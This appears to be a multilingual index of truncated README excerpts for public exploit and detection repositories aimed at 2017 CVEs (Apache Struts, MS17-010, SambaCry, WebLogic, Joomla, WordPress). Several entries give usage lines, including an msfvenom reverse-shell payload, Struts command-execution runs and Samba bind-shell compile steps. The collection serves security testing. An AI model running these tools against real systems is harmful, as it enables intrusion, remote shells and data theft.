VulnerableSpringDataRest

Уязвимое приложение Spring DataRest Это намеренно уязвимое приложение Spring Data REST для тестирования и демонстрации уязвимости CVE-2017-8046 и проблем тестирования внедрения команд и удаленного выполнения кода через REST API. Оно поддерживает Swagger UI для использования с инструментами, где...

MS17-010

MS17-010 MS17-010 CVE-2017-0143 — Python3-скрипт root@kitploit: python3 exploit.py target...

CVE-2017-8570

CVE-2017-8570Exp.py 참고:https://github.com/rxwx/CVE-2017-8570 변경 사항: 사용법: root@kitploit: python2 CVE-2017-8570Exp.py -s write.sct -e write.exe -o write.rtf + RTF file written to: write.rtf...

CVE-2017-3248

이 저장소에는 README가 없습니다...

CVE-2017-18345-COM_JOOMANAGER-ARBITRARY-FILE-DOWNLOAD

COMJOOMANAGER 2.0 - 임의 파일 다운로드 플러그인 : COMJOOMANAGER, CMS: Joomla를 사용하여 대량으로 데이터베이스를 수집합니다. Python 2.x로 개발된 프로젝트입니다. 자세한 내용은 YouTube 동영상을 참조하세요. CVE: 2017-18345 Risk : 보안 위험 높음 0day.Today-ID: 29950 ExploitDB-id: 44252 0day db-id: 16348...

wpUsersScan

wpUsersScan О wpUsersScan Перечисление списка пользователей сайтов WordPress через REST API / CVE-2017-5487, WordPress 4.7.1 - перечисление имен пользователей Использование root@kitploit: $ python wpUsersScan.py URL Установка Клонирование Клонируйте репозиторий с помощью: root@kitploit: $ git clo...

Jquery-File-Tree-1.6.6-Path-Traversal

Jquery-File-Tree-1.6.6-Path-Traversal Jquery File Tree 1.6.6 경로 탐색Path Traversal 익스플로잇 CVE-2017-1000170 Wordpress용 jQueryFileTree This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths You must provide the dot to indicate it's an extension xpljqueryFileTree.p...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Использование msfvenom для генерации полезной нагрузки: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Указывает полезную нагрузку обратный TCP-шелл для Windows...

StrutsShell

StrutsShell Оболочка Apache Struts CVE-2017-5638 Введение «LowNoiseHG LNHG Struts Shell » далее «StrutsShell » была задумана в марте 2017 года после осознания полезности автоматизации эксплуатации уязвимости Apache Struts CVE-2017-5638 вручную отправлять HTTP GET запросы и после того, как...

Oracle-WebLogic-CVE-2017-10271-master

WebLogic Wls-wsat XMLDecoder 취약점 설명 mitre:https://vulners.com/cve/CVE-2017-3506 초기에 해커들은 WebLogic WLS 구성 요소의 취약점을 이용하여 기업 서버에 대규모 원격 공격을 감행했으며, 많은 기업의 서버가 장악되었고, 피해 기업 수는 뚜렷한 증가 추세를 보여 심각한 주의가 필요합니다. 그중 CVE-2017-3506은 Oracle WebLogic의 WLS 구성 요소를 이용한 원격 코드 실행 취약점으로, 공개되지 않은 세부 사항이 있는 현장 악용 취약점이며, ...

struts-pwn

struts-pwn An exploit for Apache Struts CVE-2017-5638 Usage Testing a single URL. python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Testing a list of URLs. python struts-pwn.py --list 'urls.txt' -c 'id' Checking if the vulnerability exists against a single URL...

struts-pwn

struts-pwn Эксплойт для Apache Struts CVE-2017-5638 Использование Тестирование одного URL. python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Тестирование списка URL. python struts-pwn.py --list 'urls.txt' -c 'id' Проверка существования уязвимости для одного URL...

CVE-2017-5638

CVE-2017-5638 Этот скрипт предназначен для проверки уязвимости Apache Struts 2 CVE-2017-5638, также известной как Struts-Shock. Он абсолютно безвреден, так как не внедряет вредоносную нагрузку, а только добавляет HTTP-заголовок с именем 'STRUTS2-VALIDATION', чтобы можно было определить, уязвима л...

Detect-CVE-2017-8464

Detect-CVE-2017-8464...

TYPO3-v7.6.15-Unencrypted-Login-Request

TYPO3-v7.6.15-Unencrypted-Login-Request TYPO3 v7.6.15 암호화되지 않은 로그인 요청 할당된 CVE 번호: CVE-2017-6370...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit Эксплойт SambaCry CVE-2017-7494 для атаки на Samba bind shell без Metasploit Если нужно изменить порт, просто измените строку 68 в bindshell-samba.c и перекомпилируйте: root@kitploit: gcc -c -fpic bindshell-samba.c root@kitploit: gcc -shared -o libbindshell-samba.so...

CVE-2017-5638

CVE-2017-5638 CVE-2017-5638 Pythonで書き直されたエクスプロイト 使用方法: システムにPython3がインストールされていることを確認してください。 "python3 CVE-2017-5638.py URL -c COMMAND" を実行します。 URLエンドポイントは '.action' ファイルである必要があります。 スクリプトを実行する前にパラメータを指定することを忘れないでください。 使用例: 未テスト...

struts_rest_rce_fuzz-CVE-2017-9805-

В этом репозитории нет README...

CVE-2017-7529_PoC

CVE-2017-7529PoC...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat 구성 요소 역직렬화 취약점CVE-2017-10271 탐지 스크립트 사용법 root@kitploit: $ python CVE-2017-10271 url 또한 ceye.io 계정을 등록하고, 제공된 Identifier 및 API Token을 코드의 다음 부분에 입력해야 합니다: 기능 Windows 및 Linux 환경에서 Weblogic에 CVE-2017-10271 원격 명령 실행 취약점이 존재하는지 탐지합니다. 현재 Linux 환경에서만 테스트되었습니다 Windows 및...